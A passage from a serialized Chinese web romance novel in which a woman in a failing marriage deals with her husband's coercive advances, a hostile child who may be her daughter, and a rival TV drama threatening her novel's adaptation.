晚饭吃得沉默寡言。
夜里,深冬的风拍在玻璃窗上嗡嗡作响。
我正在房里更新小说,女佣敲了敲门,道:“太太,先生让您去一下衣帽间。”
我疑惑,但还是去了。
顾时序正在衣帽间里翻箱倒柜,不知道在找什么?
见我过来,他问:“你以前给我织的毛衣和围巾都放哪儿了?明天降温,我刚好拿出来穿。”
我微微顿了下,就是那些我拆了织、织了拆,手指被戳破好几次,才终于织好送给他的礼物吗?
当时那些围巾和毛衣,他看了眼,便随意放在柜子里,连试都没试过,今天怎么就想起来了?
我平静地说:“看你从来没穿过,放着也是浪费,就送去衣物回收箱了。给流浪汉御寒也算是物尽其用。
第95章 昭昭,今晚做一次?
顾时序冷峻的脸上露出一抹错愕,随即,眉宇间隐约有些不悦。
我看得出来,他在忍。
或许是想起了过去那些我被他忽略的日子,想起了我送他的一切礼物,都没有被他好好珍惜过。
所以,他理亏,没立场跟我生气。
良久,他才淡淡说了句:“以后不要随意处置我的东西。既然你送给我了,那就是我的。”
“好。”
我心里没有什么波澜,答应就答应了,很敷衍。
可我没想到,他紧接着道:“再给我织一条围巾吧。这次,我一定好好带着。”
我没想到他还好意思提出这种不要脸的要求。
“我已经忘了怎么织了?都好几年没弄了。”
我虽然说得很委婉,但拒绝的意思很明显。
顾时序一向高傲,刚才那番话他以为我会顺着台阶下来,可我没有。
所以,他也没再提。
我淡淡地说:“没别的事我就先回房了。”
他叫住我,语气很低,“昭昭,你还需要多久时间?”
我微微一愣,看着他。
顾时序道:“那我再说得明白些,还要多久,我们才能像以前那样?”
以前?
像以前那样做个依偎在他身上的菟丝花,被他**和欺骗吗?
见我不说话,他双手轻轻摁在我肩膀,道:“昭昭,我知道你还在生气。等你想明白了,释怀了,我们就像以前那样,行么?我还是喜欢原来那个叶昭昭。”
我望着他深邃漆黑的眸子,该怎么让他明白,原来的叶昭昭再也不会回来了呢?
“好。”
我言不由衷地答应,像他以前敷衍我一般敷衍他。
……
本以为今晚把他糊弄过去就没事了。
可接下来的几天,他总是有意无意地让我帮他做这个、做那个。
他好像很享受我像以前那样,无论他什么态度,我都毫无保留爱他的感觉。
这天吃完晚餐,顾时序把我带到衣帽间,像从前无数次那样吩咐我:“帮我熨一下这套西装,我明天要穿,嗯?”
我自然是不想做的,自从发现他出轨后,这些该妻子做的事,我就一件都不想做了。
我婉拒道:“晚上我还得加个班,你让佣人帮你弄吧。”
正准备离开,他居然拉住我,冷声道:“既然要重新开始,你也该有点做妻子的样子,总不能还像以前那样对我冷冰冰的。”
我真想把镜子放在他面前,让他照照自己!
可我哥的保释手续还没办完,我不能惹恼了他。
所以,一言不发地拿着他的衣服去了衣帽间。
我机械地重复着熨烫的动作,脑海里反复浮现的竟是那天在高尔夫球场,沈宴州看我的眼神。
那里面有嘲讽,有玩味,还有一丝我看不懂的复杂情绪。
不知过了多久,身后忽然传来脚步声。
没等我回头,腰就被顾时序从后面圈住,带着熟悉的、让我抗拒的气息。
顾时序的下巴抵在我颈窝,呼吸拂过皮肤,带着灼热的温度:“昭昭,我们今晚试试,好不好?总不能一直这样冷着,嗯?”
我闻言浑身一僵,猛地偏过头躲开。
他的唇擦过我耳垂,我惊得狠狠用手肘撞了一下他。
沉醉情欲的男人被这么一撞,毫无准备的他差点没站稳。
空气瞬间凝固。
顾时序的脸色沉了下来,冷声问:“就这么抵触我?你究竟还要我给你多少时间?”
我攥着熨斗的把手,指节泛白,该怎样稳住他呢?
就在这时,佣人在外面敲了敲门:“先生,苏小姐带着朵朵小姐来了。”
听到佣人的通报,顾时序的注意力终于被其他事吸引过去。
而我,听到朵朵来了,心里也很激动。
我跟着顾时序一起去了楼下。
刚到客厅,朵朵就蹬蹬蹬地跑过来,扑进顾时序怀里:“爸爸,我想你了!”
顾时序抱起女儿,柔声道:“爸爸也想朵朵。”
小姑娘黑亮的眼睛里充满了困惑:“那爸爸为什么还要把我放在奶奶家呢?难道不能像以前那样,爸爸妈妈和我一起住吗?还有……”
她的目光转向我,带着怯生生的警惕,“叶阿姨怎么又回来了?”
顾时序眸光深了几分,像是在思索什么。
随即,耐心对女儿说:“叶阿姨是爸爸的妻子,所以,以后会一直住在这儿。等你长大了,就会明白的。”
“啊?”朵朵瞪大了眼睛,很困惑:“可是,爸爸的妻子不是妈妈吗?怎么会是叶阿姨呀?”
顾时序脸上闪过一丝无奈,显然被问住了,只能重复道:“以后,你就明白了。”
这大概就是他自己种下的苦果,如今只能硬着头皮承受。
就连个道理,他都解释不出来。
朵朵却不依不饶,追问道:“爸爸,你是不是要和妈妈离婚,不要我们了?”
她的声音带着哭腔,道:“我们班张雨涵的爸爸妈妈就是这样,后来就不住在一起了。张雨涵每天都哭,说她爸爸在外面有了狐狸精,不要她了……”
这话像一根针,扎得我心口生疼。
我不知道这些是朵朵自己想到的,还是苏雅欣教的。
但顾时序的脸色瞬间变得很难看。
他深吸一口气,耐着性子安抚:“无论爸爸和妈妈之间发生什么,爸爸永远都爱朵朵,不会不要你。”
而我站在一旁,心里像是堵了一团棉花。
从小被灌输的认知让朵朵根深蒂固地认苏雅欣是她妈妈,反倒把我当成了破坏她们家庭的人。
一股难以言喻的酸楚涌上心头。
顾时序很警惕,不想让我接触朵朵。
所以,他哄了朵朵一会儿,道:“朵朵,先让妈妈带你回去。爸爸有空就去看你,好不好?”
可朵朵小脸儿满是倔强,任顾时序怎么哄,就是不肯挪动半步。
“我就要留在爸爸这儿!凭什么叶阿姨可以留下,我和妈妈就不行?”
她仰着下巴,眼神里带着与年龄不符的执拗。
顾时序揉了揉眉心,最终还是妥协了。
他弯腰捏了捏女儿的脸颊:“行,朵朵想留下,那就留下。”
朵朵瞬间开心了。
刚要扑进爸爸怀里,却见旁边的苏雅欣也往前凑了半步,眼神里带着期盼。
顾时序像是没看到似的,淡声道:“这几天就让朵朵在我这儿,你先回去吧。”
苏雅欣脸上的表情瞬间僵住了。
下一秒,她眼圈就红了,弯腰拉住朵朵的手,声音哽咽:“朵朵乖,在爸爸这儿要听话,妈妈……妈妈过几天再来看你。”
说完,她流着泪快步往外走,就连背影好像都充满了委屈。
“爸爸!你看你把妈妈气哭了!”
朵朵立刻甩开顾时序的手,小脸上满是怨怼,“你为什么不让妈妈留下?”
顾时序耐着性子解释,“妈妈要工作,很忙,不方便住在这儿。”
朵朵突然扬起头,眼神冷得让人心惊:“以前我们班张雨涵爸爸也是这样,不让她妈妈住家里,却把狐狸精接回家来!爸爸,叶阿姨就是狐狸精,对不对!”
我被朵朵这番话震撼得差点没站稳。
“朵朵!”
顾时序的声音陡然拔高,斥责道:“谁教你说这种话的?什么狐狸精,谁是狐狸精!”
他从未对朵朵如此严厉,小姑娘被吓得浑身一颤,眼圈瞬间红了,嘴唇哆嗦着,不敢再多说一句话。
小丫头低低地抽泣着,却又恨恨地看着我。
顾时序深吸一口气,压下心头的火气,沉声道:“去佛堂罚站,好好反省反省自己刚才说的话。”
朵朵咬着唇,一步一回头地走向佛堂。
只是,她看我的眼神真的很可怕,像顾时序,又像苏雅欣。
很冷,很阴。
我的心仿佛被一只大手揪住,就连浅浅的呼吸一口,都疼。
朵朵出去后,顾时序叹了口气,道:“你别把朵朵刚才的话放在心上,她还是个孩子,什么都不明白。”
我吸了吸鼻子,喉咙发紧:“是啊,小孩子能懂什么呢?大人怎么教,她就怎么学罢了。”
顾时序的眉头立刻蹙了起来,语气带着几分不悦:“你又想说,是雅欣教朵朵的?”
我抬眼看向他,问:“不然呢?不是她教的,那就是你教的。”
“你又开始无理取闹了!”
顾时序道:“我怎么可能教她这些?当然,雅欣更不可能教她。她刚才不是说了,是幼儿园小朋友说的。”
他明里暗里都在为苏雅欣开脱,对她半分怀疑都没有。
而每一次发生任何事,我都是第一个被他怀疑的对象,我只觉得一阵深深的无力感席卷而来。
累了,真的太累了!
我疲惫地叹了口气,连多余的话都不想再说,转身往客房里走去。
明明已经深夜,可我却毫无睡意。
脑海里反复回响着朵朵刚才的话,还有她刚才看我的眼神。
心口的闷堵变成了尖锐的疼痛,密密麻麻地
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蔓延开来。
我甚至在想,顾时序会不会没有骗我?
朵朵真不是我女儿,只是我太期待那个孩子没死,才会执拗地以为朵朵就是那个孩子。
……
一夜辗转反侧,天刚蒙蒙亮,我就醒了。
头很痛,昏昏沉沉的。
之前心理医生给我开的药早就吃完了,很长一段时间,我都没有再失眠、头痛。
但现在,那种熟悉又可怕的感觉,回来了。
我请了半天假,上午去找了之前的心理医生。
医生从电脑记录里看到我上次的就诊时间,深深蹙眉:“怎么中间这么久都没有来复查过?”
“我吃了之前您开的药,觉得好了很多。再加上最近事情太多,就忘了……”
我说完,心理医生凝重地说:“心理抑郁最忌讳像你这样,三天打鱼两天晒网。吃药只能获得短暂的恢复,只有通过定期的心理疏导才能治根。你还这么年轻,如果抑郁症继续发展下去,后果比你想象的要严重许多。”
最终,我决定重新接受心理治疗。
我坐在沙发上,医生坐在我对面。
“那我们聊聊现在最让你难安的事吧。”
我将最近这段时间发生的事情告诉了医生,主要是关于朵朵的。
没想到医生听完,忽然笑了笑,刚才凝重的表情都轻松了许多。
他点点头,道:“叶女士,你这次,进步很多。”
我愣了下,不可思议地问:“进步?我没明白……”
“你没再揪着你和你丈夫的感情较劲。”医生平缓地开口道:“以前你总说‘他为什么不信我’?‘他究竟是什么时候变心的’?可刚才你说的全是你和女儿的关系。至少,你对这段婚姻,已经放下了。”
我小心翼翼地问:“那这种情况,会比之前那种好治疗一些吗?”
医生耐心地帮我分析着:“摆在你面前的无非两个答案。要不,朵朵是你亲生的。那孩子心性不定,就算现在暂时对你有偏见,总有办法慢慢掰过来。她是孩子,不是石头,只要你花心思,总会有回响。要不,她不是你亲生的。那就更简单了!你连‘母女’这层牵绊都不用顾了,这段婚姻值不值得留,心里反倒更清楚了。”
他顿了顿,又补了句:“你现在愁得太早了。连她是不是你女儿都没确定,就先把自己熬得头痛失眠,划算吗?万一不是,这些天的难过,不就白受了?”
医生的话,让我有种豁然开朗的感觉。
尽管我知道,我要面临的问题还有很多,但我需要一步一步来,自己不能乱。
拿了药走出诊所,天朗气清,我连脚步都轻快了些。
回到新闻社,我把手边的几个新闻稿处理了一下,一忙就忙到了傍晚。
这时,手机响了,是沈老夫人的电话。
我立刻接了起来,老夫人说想我了,让我晚上去吃饭。
老夫人郁闷地说:“最近宴州妈妈身体不好,他今晚又要去姜家。只有我这个老太太一个人,吃什么都没滋没味儿的。”
听闻沈宴州晚上不在场,我便答应了老夫人。
上次高尔夫球场之后,我也不知道为什么,挺怕见到沈宴州的。
……
到达沈家时,佣人刚把饭菜摆上桌。
屋内四季如春,沈老夫人养的绿植生机盎然。
见我鼻尖冻得发红,老夫人招呼着我:“快进来!外面冷吧?今年虽然还没下雪,可这天气真是能把人冻死。”
我笑着道:“还好,上下班都开车,在外面的时间少。”
我刚坐下,外面响起了车子引擎声。
沈老夫人一愣,疑惑地道:“不对啊,宴州今晚说是去姜家,怎么回来了?“
我也赶忙站了起来,有点拘束。
没过几分钟,沈宴州就进来了。
看到我时,他脚步微顿,眼神里闪过一丝讶异。
随即,他转向沈老夫人,平日里孝顺的他,今日语气却带着几分指责:“奶奶,您究竟跟我妈说了些什么?以后,您能不能别再乱点鸳鸯谱了?”
沈老夫人也来了气,道:“你过了今年就三十五了,终身大事还不该定下来吗?我觉得昭昭这孩子不错,就把照片发给你母亲看看,顺便给她打个电话,想跟她商议一下你的婚事。她倒好,我话没说完,她就把电话给挂了。这是对长辈该有的态度吗?”
我顿时惊住了。
沈宴州的母亲不就是顾时序的外婆吗?
沈老夫人竟然在顾时序的外婆面前,撮合我和沈宴州!
第96章 顾时序要在车里
我瞬间坐不住了,慌忙起身:“老夫人,时候不早了,我还有事,就先告辞了。”
再待下去,指不定要闹出多大的误会。
况且,姜家那边不知道外婆有没有告诉外公?
我必须去解释清楚。
沈老夫人一头雾水地说:“昭昭,怎么就走了呢?让宴州送你吧!”
“不了,我开车来的。”
我匆匆回应着,甚至不敢看沈宴州的眼睛。
可沈宴州还是跟了出来。
他跟我走到车门口,道:“我已经跟我妈解释过了,如果你需要我去跟顾时序解释,我可以配合你。毕竟,这是我奶奶惹出来的事情。”
“不必了。”
我勉强挤出一抹微笑,道:“再见,舅舅。”
我的这声“舅舅”,让沈宴州眉头紧皱,却没有再说什么。
路上,我车开得飞快。
尽管已经八点多了,可我等不到第二天。
然而,我刚到姜家门口,恰好遇到顾时序从里面出来。
他脸色阴沉得可怕,我装作看不见,径直往屋里走。
可没走两步,就被他扼住了手腕,二话不说就把我往他车里拽。
车门“砰”地关上,他从另一边上了车,猛地将我按在座椅上。
男人眼神里翻涌着怒火,咬牙道:“叶昭昭,我已经够尊重你了。你要时间,好,我给你!可你呢?给我玩身在曹营心在汉这一套,是吧!”
“不是你想的那样!是沈老夫人误会了,她……”
我话未说完,顾时序用力掐着我的下巴,语气狠戾地打断:“跟沈宴州勾搭在一起,还让那个老太婆找上门来提亲!你把我当什么了?你从始至终,就没打算跟我重新开始,对不对?”
“顾时序,我再说一遍,我根本不知道这件事!”
我挣扎着想推开他,可他的力气大得惊人。
男人冷笑了声,忽然将我座椅降低,俯身压了过来。
“我是对你太好,让你忘了你的身份!不如让我来提醒你一下,你是个有丈夫的女人!”
他的手已经扯开了我衬衫最上面的两颗纽扣,眼中翻涌着失去理智的占有欲,几乎要把我吞噬。
“顾时序,你疯了!”
我绝望地挣扎着,避开他的触碰。
可男女的力量天生悬殊,我情急之下,脱口而出:“你这样对得起苏念恩的在天之灵吗?”
顾时序突然顿住。
本就愤怒的他,现在又被人戳中痛处,可想而知他此刻的眼神有多吓人。
我无畏地迎上他的目光,声音却控制不住发抖:“你真的爱苏念恩吗?心里装着一个人的时候,你是怎么毫无顾忌地碰另一个人的?”
终于,他离开我身上,失魂落魄的坐回了驾驶座。
窗外的路灯映得他侧脸冷硬,男人的手紧紧握着方向盘,一字一句道:“叶昭昭,你不配做顾太太!”
“对,我不配。”
我点点头,道:“麻烦你跟我离婚,也免得我给你们顾家蒙羞。”
说完,我逃一般地下了车,跌跌撞撞跑到路边,拦了辆出租车。
我跟司机说了姜家的地址,准备回去取车。
刚才顾时序在车里失控的强迫,仍让我心有余悸,身体还在微微颤抖。
出租车停在姜家门口时,里面的灯已经熄了。
我不想再去打扰他们,况且我现在这种状态,也不适合进去。
就这样,我开车回到在外面租的房子里。
客厅暖黄的灯光打在熟悉的木纹地板上,驱散了满身寒气。
我换了鞋,整个人如同被抽干了所有力气,一屁股坐在沙发上。
想到今天心理医生对我的疏导,我忽然发现这算不算因祸得福?
至少,顾时序也明白我们回不去了。
与其重新开始,还不如让他厌恶我,配合我把离婚办了。
晚上睡前,我吃了心理医生今天给我开的药,算是睡了个踏实觉。
……
翌日是周末,不上班。
我醒来时,《婚途漫漫》剧组群里已经弹出了几十条消息。
这里有主演,也有制片人、导演和剧组其他工作人员,大家一般不在群里闲聊,只谈工作。
我点进去之后,制片人和其他工作人员你一句我一句:
【制片人秦薇:刚收到信儿,顾氏给苏雅欣投了部新剧,题材、路数跟咱们《婚途漫漫》几乎一模一样,这是明摆着要跟咱们杠啊!】
【导演何先齐:何止?听说剧组都搭好了,已经悄悄开机了。】
【女一号安染:顾时序挺大方啊,投了两个亿给苏雅欣玩儿。】
【秦薇@安染:都什么时候了?还开玩笑!你们知道苏雅欣他们那部剧的编剧是谁吗?霍明曦!都听说过吧?】
瞬间,群里安静了。
霍明曦原先是网络小说女频的鼻祖人物,16岁就开始写言情小说。而现在,她早已经从网络小说作者转型成为著名编剧了。
这时,安染将苏雅欣的微博链接发到了群里。
苏雅欣依旧是那个耐不住话的性子,什么事还没开始做,就恨不得炫耀到全世界都知道。
她发了一张自己看剧本的照片,配文:与《婚途漫漫》的合作已取消,新剧《婚心》正在筹备中。感谢我的男神做我最坚实的后盾,@顾氏官方账号。
由于顾时序没有私人微博,索性苏雅欣直接@顾氏官方,恨不得让所有人知道顾时序有多宠爱她。
评论区里,她的粉丝早已狂欢起来:
“就知道姐姐不会甘心做配!安染算什么东西?也配让姐姐给她配戏?”
“《婚途漫漫》那作者就是个新人,连笔名都没听过,怎么能跟才女霍明曦比?霍才女的剧,哪部不是冲着爆款去的?”
“欣欣,你是最棒的!不要害怕那些流言蜚语,我们永远支持你!”
“……”
我退出微博,没心思再看下去。
剧组那边通知紧急开会。
制片人秦薇让我现在立刻去公司找她。
……
办公室里。
秦薇拿着修改大纲,对我道:“我们经过一致讨论,如果跟霍明曦的套路相撞,我们只有死路一条。这部剧,会扑得血本无归!所以,现在你得抓紧时间改原著。霍明曦的剧本是男二上位,你改成破镜重圆。也免得到时候剧还没播就被黑,说我们模仿隔壁。”
破镜重圆?
多讽刺啊!
我道:“薇姐,这违背了我写这本书的初衷。原著里男女主分开后各自成长,最终体面告别,这才是我想表达的。强行让他们回头,人物就立不住了。况且,我来之前特意看了霍明曦那本小说,她的发布日期是在我这本书之后的。就算模仿,也不是我模仿她。”
秦薇叹了口气,苦口婆心地劝道:“好,咱们不说谁模仿谁。但破镜重圆是现在的大趋势,观众就吃这一套。你写书如果是为了爱好,咱不说啥了。关键是现在投资方不能血本无归吧?你知道霍明曦有多火吗?他们这次就是冲着我们来的!要不,你自己去总公司跟老板说吧。”
我知道这部剧背后最大的老板是沈宴州。
可沈氏集团的版图大到望不见边际,沈宴州每天要处理的都是动辄上亿的决策,还要作为律师去开庭,怎么会分出精力管旗下一家小影视公司的事?
况且,我不想总跟沈宴州有这些牵扯。
我沉默了一会儿,问:“还有别的办法吗?如果我不改剧情呢?”
秦薇凝重地说:“除非你能请来顶流小生陆之言,现在他的话题度是娱乐圈榜首,比安染和苏雅欣加起来还要高。但他如今风头正盛,价位非常吓人。如果是以前还好说,但现在对手太强劲,这部剧的投资风险太大了,我不好再去找总部追加投资。”
“他报价多少?”我问。
秦薇道:“听说上部戏,他每集是200万。”
我倒吸了一口凉气,不禁感叹着娱乐圈的钱是真好赚。
秦薇以为我知难而退了,拍拍我的肩,道:“钱是一方面,关键是陆之言不好请啊。昭昭,放弃吧,就按照我们今天开会商议好的,改剧情。现在就改!还有一段时间。”
其实改剧情不是不可以,但只要想到要跟顾时序那种人‘破镜重圆’,我就无法控制的抵触。
如果这部剧上映,我所带来的价值观是女性被伤害后,还无底线无条件地原谅,最终为了孩子或家庭回到渣男身边。
会不会有更多的女性因为这部剧,一辈子都选择埋葬在某些畸形的婚姻里?
沉默片刻,我下定决心道:“钱我来出!但是,我不改文。”
我开口时,自己都愣了一下。
秦薇不可思议地看着我,眼神里充满惊讶。
“
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我可以投资。”
想想也真有意思,之前我在医院里照顾顾时序,他给我转账的钱,也勉强够用了。
秦薇严肃地提醒:“你可想好了?这要是赔了,你就……”
“赔了我认。”
我拿起笔,在秦薇给我的修改大纲上划了个大大的叉。
秦薇看到了我的决心,点点头,“行,我尽快让法务把合同拟出来,你先去准备资金。至于陆之言……我之前跟他合作过,先联系一下,探探他口风。”
我用了半天的时间就筹备好了资金,总共三千万。
公司会议室里,股权协议上,我签下了自己的名字。
秦薇笑了笑,道:“从此之后,你也算这部剧的股东之一了。做老板啦!”
虽然她语气是开玩笑的意味,但其实我们的心情都很沉重。
本来我们这部剧一切都筹备得好好的,制作班子已经算是娱乐圈里数一数二的了。
只是没想到,顾时序会突然杀出来,搞这么一出。
虽然**这部剧的作者是我,但他想捧苏雅欣的意图,人尽皆知。
就在这时,沈老夫人的电话打来了。
我犹豫了一下,接了。
沈老夫人的语气里充满了歉疚:“昭昭,昨天晚上宴州把事情跟我说了。我这心里一直过意不去。你晚上有时间吗?来家里,奶奶想跟你赔个不是。”
“奶奶,您不用放在心上,更不用赔不是。是我之前没跟您说清楚我的婚姻状况,才让您误会了。”
沈老夫人道:“你要是不来,就是生奶奶气了。那你在哪儿工作,奶奶去找你。”
我无奈极了,不想老人这么大冷天的出来奔走,便道:“那我晚点过去。”
……
沈家。
我过去的时候,沈宴州也在。
他应该是刚回来,深灰色外套还没换下来,领带微松,袖口挽到手肘,松弛又矜贵。
见我来,他没有意外,应该已经听沈老夫人说过了。
“吃饭吧!”
他语气随意而自然,差点让我觉得我是这个家的一份子似的。
席间,沈老夫人还在复盘昨天的事。
越说她越难受,最后差点哭了:“奶奶是老糊涂了,怎么就……给你添了这么**烦呢?宴州现在算是你的舅舅,我这……我这都乱了辈分了。真是太荒唐了!”
沈宴州平静地吃饭,偶尔哄两句。
我见不得老人这么哭啼啼的,只好苦口婆心地劝说。
好不容易沈老夫人情绪平静些了,却又想到了什么,怜惜地望着我。
“这么好的姑娘,怎么就嫁了那种人呢?”
她愤愤地说:“别看我年纪大了,我也是经常刷抖音的!苏雅欣都被官方点名了,还三天两头地出来蹦跶,不就是仗着顾时序的势?一点都不知道检点!这不,今天又出来了,说是顾时序给她投资了部电视剧……”
沈老夫人正喋喋不休地吐槽,可沈宴州突然开口,不冷不**打断道:“奶奶,您也操心太多了!人家夫妻床头打架床尾和,咱们外人掺和不上。”
我顿觉一阵冷意顺着脊椎往下滑,莫名不舒服。
我只好低下头,默默吃着碗里的米饭。
沈老夫人还以为是她勾起了我的伤心事,连忙道:“昭昭,奶奶不是这个意思,你千万别往心里去啊……苏雅欣这种女人,那就是旧社会的外室,连妾都算不上,登不得台面的!”
沈宴州无语地看着老人家,道:“行了,您别越描越黑了。有的人您看她可怜,没准儿她还乐在其中呢。”
我始终没说话,但沈宴州指桑骂槐般的敲打,让我心里发堵。
饭后,我扶着沈老夫人上楼休息。
老夫人拉着我的手絮叨了半天,下楼时,沈宴州还在客厅里。
他倚在沙发里看财经杂志,指尖夹着页角,侧脸在落地灯的光晕下显得轮廓分明。
我放轻脚步,尽量不打扰他,往门口走去。
“要走了?”他忽然开口,视线却没离开杂志。
我脚步一顿,局促地攥紧包包,应了声:“嗯,时间不早了。”
然而,我刚走出两步,身后又传来他的声音:“听说,《婚途漫漫》出岔子了?”
我后背一僵,没回头。
“有要帮忙的地方……”
他翻过一页杂志,语气听不出情绪,“说一声。”
第97章 沈宴州帮我打脸渣夫【爽!】
我十分意外,他会开这个口。
可我知道,无论是谁的人情,都最好别欠。
否则,就像刚才吃饭的时候,他那样阴阳怪气地讽刺我,我都没资格反驳一句。
“谢谢舅舅,已经解决了。”
我说完,便径直往门口走去,离开了沈家。
回去的路上,秦薇给我打了电话。
我猜,应该是她跟陆之言沟通过,有了消息。
“怎么样?陆之言那边怎么说?”我问。
秦薇没好气地说:“我跟何导找他经纪人的时候,那边说,《婚心》剧组也找他了。他需要考虑一下。可刚才,我看到微博,苏雅欣的意思,应该是《婚心》的男主角已经定了他。我们……没希望了。”
我道:“只要他们还没签合同,就还有希望。”
虽然我也不知道究竟哪里来的底气?
秦薇道:“我们这边还会继续跟他们谈的,有消息我再通知你。”
跟秦薇通完话,我到了家,打开微博。
苏雅欣晒出了跟陆之言一起看剧本的照片,两家粉丝更是炸开了锅,在一起狂欢起来:
“啊啊啊!这是什么神仙同框!哥哥侧脸杀我!雅欣姐姐笑起来甜到心化!这颜值组合直接原地封神好吗!谁懂啊,光看这张图我已经开始期待正片了!”
“某些糊剧别来碰瓷了,行不行?就隔壁那个《婚途漫漫》,听名字就土掉渣,还想抢我们哥哥?也不看看自己配不配!也就只配在角落里吃灰了,给我们《婚心》提鞋都不够!”
“笑死,刚才还刷到安染的脑残粉在鬼叫,就凭她家安婊跟陆之言拍过几部剧,就敢说这次他们能五搭!糊剧赶紧死心吧,别来丢人现眼了!”
“……”
这评论里,不少都是苏雅欣的水军。
不过,声势造的的确很大。
宋今若刷网页看到这个,第二天就跑到我家找我,比我还担心这部剧会被苏雅欣她们那部打压。
我将事情跟她大致说完后,她立刻问:“你资金够吗?需要用钱,你一定要跟我开口。”
“够了。”
我笑了笑,道:“还记得之前顾时序住院我去照顾他吗?赚了他不少钱。”
宋今若恨恨道:“该!这家伙,就该破产,露宿街头才好!”
就在这时,秦薇给我打了电话,说是今晚陆之言答应了他们的邀请,准备一起吃个饭。
薇姐提醒道:“我知道你不喜欢应酬,但我们现在没有退路了。作为原著作者,你最好出席,让陆之言看到我们的诚意。”
我顿了顿,疑惑道:“不是说他准备跟苏雅欣合作了吗?”
秦薇叹了口气,道:“虽然这个消息炒得火热,但他们终究还没签合同,我们还有一线生机。今晚先见个面,谈一谈,试试吧!”
“好。”
我答应下来。
通完话,宋今若一脸花痴的样子,问:“你说谁?晚上你要跟陆之言吃饭?”
我道:“不是我,是我们剧组,导演、制片人,估计好几个人呢。”
“嘿嘿嘿……”
宋今若呲牙咧嘴地笑着,挽着我胳膊,道:“带我一起呗!从他出道起,我就开始粉他了。要是能跟他在一起个桌上吃饭,我这辈子都值了!”
我满脸黑线,问:“你家裴医生知道你这个想法吗?他不会吃醋吗?”
宋今若立刻做了个噤声的表情,道:“这怎么能让他知道?不过,他整日忙着手术,都好久没跟我约会了。反正闲着也是闲着,你就带我去见见偶像呗!”
我被宋今若缠得不行,跟薇姐商量之后,答应带她一起去了。
宋今若得知晚上终于能见到偶像,下午就回家挑衣服打扮去了。
傍晚,我们去酒店的路上,宋今若还在对着镜子整理着头发。
“别照了,够漂亮了!”
我无奈地看着她,道:“你晚上可别太激动,咱们是来谈正事的。”
“放心吧!”
宋今若冲我眨了眨眼睛。
……
包厢门推开时,陆正坐在沙发上看剧本。
米色针织衫将他衬得清俊感十足,的确很适合我书里男主角。
看到我们进来,他和他经纪人起身,礼貌打招呼:“这位就是叶编剧吧?”
我跟他和他的经纪人都握了手,道:“谢谢你,陆先生,愿意给我们这个机会。”
虽然陆之言身处顶流,可他并没有苏雅欣私下那种高傲瞧不起人的坏毛病。
宋今若轻轻拉了下我的衣角,我这才想起来,连忙介绍道:“这位是我的好朋友,宋今若。”
“宋小姐,你好。”
陆之言礼貌地冲她点点头,似乎对宋今若……
宋今若双手伸过去跟他握手,总觉得今天吃完饭,宋今若几天都不舍得洗手了。
秦薇和导演此时正在跟陆之言的经纪人谈着什么。
而陆之言的目光一直望着门口,似乎在等什么人?
良久,他貌似无意地问我:“听说今晚安染也会过来。是不是路上堵车了?”
秦薇听见,插了句嘴,“哦,安染今晚不来了,说是突然重感冒,怕传染给我们。”
陆之言的目光肉眼可见落寞下来。
宋今若小声在我耳边道:“要我看,之前传他和安染之间那些小九九,也不是空穴来风吧?”
我轻轻掐了她一下,让她别乱说话。
寒暄刚过,包厢门又被推开,在服务生的引领下,沈宴州走了进来。
我们皆是一愣,就连秦薇这个组局的人都懵了,显然没想到咱们这么小的事,能引来沈宴州这个大忙人。
“沈总,您怎么来了?”
平日里如果不是当事人或者不在律所,大家还是习惯叫沈宴州“沈总”。
“今晚在这里谈生意,听说沈氏投资的剧组正在这边谈事情,就过来看看。”
沈宴州将外面的深色大衣脱下来递给服务生,坐在了秦薇帮他拉开的主位。
陆之言也是听过沈宴州名头的。
在资本面前,哪怕是顶流明星,也像个被规训过的孩子,站起身来恭恭敬敬地跟沈宴州打招呼。
这时,服务生陆陆续续开始上菜,可因为沈宴州的到来,所有人都有点拘礼,就连导演他们都不例外。
沈宴州淡声开口道:“你们只当我不存在,该讨论什么就讨论。”
秦薇这才问起陆之言关于跟我们合作的意向。
陆之言面露难色,经纪人开口道:“真是抱歉,要不,下次有机会合作吧。这次,顾氏那边……已经提前跟我们达成了合作意向。毕竟,这也不是之言一个人能决定的,他是公司的艺人,必须服从我们经纪公司的意思。”
经纪人不动声色地将陆之言从这场谈判中摘出来,估计也不想他在巅峰时期就得罪人。
秦薇的笑容僵在脸上,我也有些泄气。
其实陆之言很难请,我们心里都有预料,今晚跟他约这顿饭,也不过是死马当作活马医。
就在谈话陷入僵局时,高朗进门,拿了一个文件袋。
我们完全没想到,这份文件袋里的文件,是陆之言与我们的合作协议。
就连陆之言自己,都一头雾水,“沈总……这……”
哪怕他在娱乐圈身居顶流,可在沈宴州面前,也总是没什么底气,战战兢兢的。
沈宴州性子虽寡淡,但骨子里是有上位者的冷漠和高傲的。
他语气几乎是命令,对陆之言道:“刚才来的路上我已经跟你们老板沟通过了。把这个协议签了,你需要的资源,我可以给你。”
陆之言看了眼经纪人,而此时,经纪人正好收到了一条信息。
应该是经纪公司老板发来的。
在经纪人的点头示意下,陆之言挤出一抹恰到好处的笑,道:“能跟贵公司合作,是我的荣幸。”
尽管,我和宋今若都看出了他的勉强,毕竟,谁也不喜欢被人摁着头吃饭。
可我们更多的是激动。
沈宴州一句话,就化解了我们这么多天来的矛盾和纠结。
只不过……他刚才进来的时候不是说顺路来看看的吗?
既然是顺路,怎么提前做了这么多准备,连合作协议都准备好了。
宋今
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若此时的目光已经从陆之言转移到了沈宴州身上,无比欣赏。
签完合同后,沈宴州似乎不欲与我们多言,又或许,他觉得我们这些人不配跟他在一起吃饭。
“我还有事,你们慢吃。”
他起身,服务生连忙递来外套。
一桌子人哗啦啦全站了起来目送他走。
直到包厢的门重新关上,饭桌上紧绷着的气氛才稍稍松懈一些。
秦薇和导演一个劲儿地跟陆之言和他经纪人寒暄,然后又开始说起我们的剧本。
我本来也想参与进去,可宋今若却拉住了我。
她握着我的手,带着几分激动,压低声音道:“总算有一个比裴炎京还能吸引我的男人了!要是没有裴炎京,我肯定就下手了!我还想感受一下做顾时序的舅妈呢!”
我白了她一眼,道:“你去吧!要我把他的微信给你吗?”
宋今若撇撇嘴,道:“我要是找了他,那裴炎京怎么办?倒是你,一点都不心动吗?虽然他年纪大了点儿,但人家长得帅,又沉稳,也看不太出比你大了十岁呢。跟这种人在一起,肯定很有安全感。”
饭局结束时已经快九点了。
我们刚走到会所大门,就撞见了同样往外走的顾时序和苏雅欣。
两人在跟其他人打招呼,似乎是《婚心》剧组,因为里面有个导演我认识,很有名气。
苏雅欣一脸娇笑,不知在跟顾时序说什么?
